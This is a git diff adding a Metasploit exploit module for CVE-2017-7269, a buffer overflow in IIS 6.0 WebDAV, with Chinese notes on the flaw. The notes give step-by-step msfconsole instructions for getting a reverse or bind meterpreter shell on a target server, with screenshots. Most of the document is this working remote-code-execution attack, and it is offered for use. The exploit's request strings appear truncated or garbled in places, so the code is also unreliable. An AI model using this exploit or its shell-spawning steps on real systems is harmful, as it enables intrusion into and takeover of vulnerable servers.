diff --git a/IIS/CVE-2017-7269-Echo-PoC/1.png b/IIS/CVE-2017-7269-Echo-PoC/1.png new file mode 100644 index 0000000..5bc75fe Binary files /dev/null and b/IIS/CVE-2017-7269-Echo-PoC/1.png differ diff --git a/IIS/CVE-2017-7269-Echo-PoC/2.png b/IIS/CVE-2017-7269-Echo-PoC/2.png new file mode 100644 index 0000000..1cf80d5 Binary files /dev/null and b/IIS/CVE-2017-7269-Echo-PoC/2.png differ diff --git a/IIS/CVE-2017-7269-Echo-PoC/3.png b/IIS/CVE-2017-7269-Echo-PoC/3.png new file mode 100644 index 0000000..25acffe Binary files /dev/null and b/IIS/CVE-2017-7269-Echo-PoC/3.png differ diff --git a/IIS/CVE-2017-7269-Echo-PoC/4.png b/IIS/CVE-2017-7269-Echo-PoC/4.png new file mode 100644 index 0000000..6f766e2 Binary files /dev/null and b/IIS/CVE-2017-7269-Echo-PoC/4.png differ diff --git a/IIS/CVE-2017-7269-Echo-PoC/5.png b/IIS/CVE-2017-7269-Echo-PoC/5.png new file mode 100644 index 0000000..0bec6d8 Binary files /dev/null and b/IIS/CVE-2017-7269-Echo-PoC/5.png differ diff --git a/IIS/CVE-2017-7269-Echo-PoC/cve-2017-7269.rb b/IIS/CVE-2017-7269-Echo-PoC/cve-2017-7269.rb new file mode 100644 index 0000000..5fe2112 --- /dev/null +++ b/IIS/CVE-2017-7269-Echo-PoC/cve-2017-7269.rb @@ -0,0 +1,77 @@ +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow', + 'Description' => %q{ + Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: [ 'Dominic Chell ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2017-7269'], + [ 'BID', '97127'], + [ 'URL', 'https://github.com/edwardz246003/IIS_exploit'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00", + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'DisableNops' => 'True', + 'EncoderOptions' => + { + 'BufferRegister' => 'ESI', + } + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'PrependMigrate' => true, + 'PrependMigrateProc' => "calc" + }, + 'Targets' => + [ + [ + 'Microsoft Windows Server 2003 R2', + { + 'Platform' => 'win', + }, + ], + ], + 'Platform' => 'win', + 'DisclosureDate' => 'March 26 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + end + + def exploit + connect + + buf1 = "If: " + buf1 << " (Not ) \r\n\r\n") + + handler + disconnect + end + +end \ No newline at end of file diff --git a/IIS/CVE-2017-7269-Echo-PoC/readme.md b/IIS/CVE-2017-7269-Echo-PoC/readme.md index 0e1e92c..1666704 100644 --- a/IIS/CVE-2017-7269-Echo-PoC/readme.md +++ b/IIS/CVE-2017-7269-Echo-PoC/readme.md @@ -2,14 +2,20 @@ ### CVE-2017-7269 远程代码执行回显验证 --- -我们团队对此次 CVE-2017-7269 漏洞的分析报告: https://ht-sec.org/cve-2017-7269-vulnerabilities/ +我们团队对此次 CVE-2017-7269(IIS6-0远程命令执行漏洞) 漏洞的分析报告: https://ht-sec.org/cve-2017-7269-vulnerabilities/ 默认PoC 只能弹`calc.exe` ,现在修改成可以响应请求,命令格式为:
-CVE-2017-7269_remote_echo.py ip_address port +`CVE-2017-7269_remote_echo.py ip_address port`
+### 利用条件 + +- iis6.0 +- 开启WebDav功能（具体为PROPFIND方法，成功则返回207或者200） +- windows server 2003 R2 + 效果如下:
![](./example.png) diff --git a/IIS/CVE-2017-7269-Echo-PoC/详细信息.md b/IIS/CVE-2017-7269-Echo-PoC/详细信息.md new file mode 100644 index 0000000..3352478 --- /dev/null +++ b/IIS/CVE-2017-7269-Echo-PoC/详细信息.md @@ -0,0 +1,168 @@ +# IIS6.0远程命令执行漏洞(CVE-2017-7269) + +本文用于记录IIS6.0 WebDav 远程命令执行漏洞的相关信息，检测利用方法以及修复方案，内容大多来自互联网，在此记录备忘。 + +*文章中的工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负* + +### 漏洞信息 + +漏洞编号：CVE-2017-7269 +发现人员：Zhiniang Peng和Chen Wu（华南理工大学信息安全实验室,计算机科学与工程学院） +漏洞简述：开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行，目前针对 Windows Server 2003 R2 可以稳定利用，该漏洞最早在2016年7,8月份开始在野外被利用。 +漏洞类型：缓冲区溢出 +漏洞等级：高危 +影响产品：Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0（目前已验证，其他版本尚未验证） +触发函数：ScStoragePathFromUrl函数 +附加信息：ScStoragePathFromUrl函数被调用了两次 +漏洞细节：在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞，攻击者通过一个以“If: 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow', + 'Description' => %q{ + Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: [ 'Dominic Chell ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'CVE-2017-7269'], + [ 'BID', '97127'], + [ 'URL', 'https://github.com/edwardz246003/IIS_exploit'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00", + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'DisableNops' => 'True', + 'EncoderOptions' => + { + 'BufferRegister' => 'ESI', + } + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'PrependMigrate' => true, + 'PrependMigrateProc' => "calc" + }, + 'Targets' => + [ + [ + 'Microsoft Windows Server 2003 R2', + { + 'Platform' => 'win', + }, + ], + ], + 'Platform' => 'win', + 'DisclosureDate' => 'March 26 2017', + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(80) + ], self.class) + end + def exploit + connect + buf1 = "If: " + buf1 << " (Not ) \r\n\r\n") + handler + disconnect + end +``` + + + +*github地址：https://github.com/dmchell/metasploit-framework/pull/1/commits/9e8ec532a260b1a3f03abd09efcc44c30e4491c2* + +#### Usage + +　　新建一个文件,如：cve-2017-7269.rb，将以上代码复制进去（或者直接下载该文件）。 +　　找到metasploit安装目录，将cve-2017-7269.rb文件放到opt/metasploit/apps/pro/msf3/modules/exploit/windows/iis/目录下。（我在mac上试的，目录有所不同，放在这个目录下是为了方便分类管理）。 + +运行msfconsole并加载cve-2017-7269模块 + +``` +>use exploit/windows/iis/cvce-2017-7269>set RHOST 192.168.4.244 #设置目标IP>exploit +``` + +![img](./1.png) +　　运行exploit，会在本机监听4444端口，存在漏洞的目标服务器会连上本机的4444端口，反弹一个meterpreter。（前提是目标服务器能够ping通本机） +![img](./2.png) +通过meterpreter执行shell命令，反弹cmdshell +![img](./3.png) +　　此模块默认会加载reverse_tcp payload，用于让目标服务器远程连接本地的某个端口，当然我们也可以改变payload，将其改为bind_tcp，用于让目标服务器监听一个端口，本地主动连接弹出shell。 + +``` +>set PAYLOAD windows/meterpreter/bind_tcp +``` + + + +改完之后，再次测试 +![img](./4.png) +　　运行exploit，目标服务器监听4444端口，本机会连上目标的4444端口，反弹一个meterpreter。（前提是本机能够ping通目标服务器） + +在msf模块中输入set，可查看能够修改的项目，比show options要全一点。 +![img](./5.png) + +### 临时解决办法 + +- 关闭WebDAV服务 +- 使用相关防护设备 + +来源：[IIS6-0远程命令执行漏洞-CVE-2017-7269/](https://thief.one/2017/03/29/IIS6-0远程命令执行漏洞-CVE-2017-7269/) +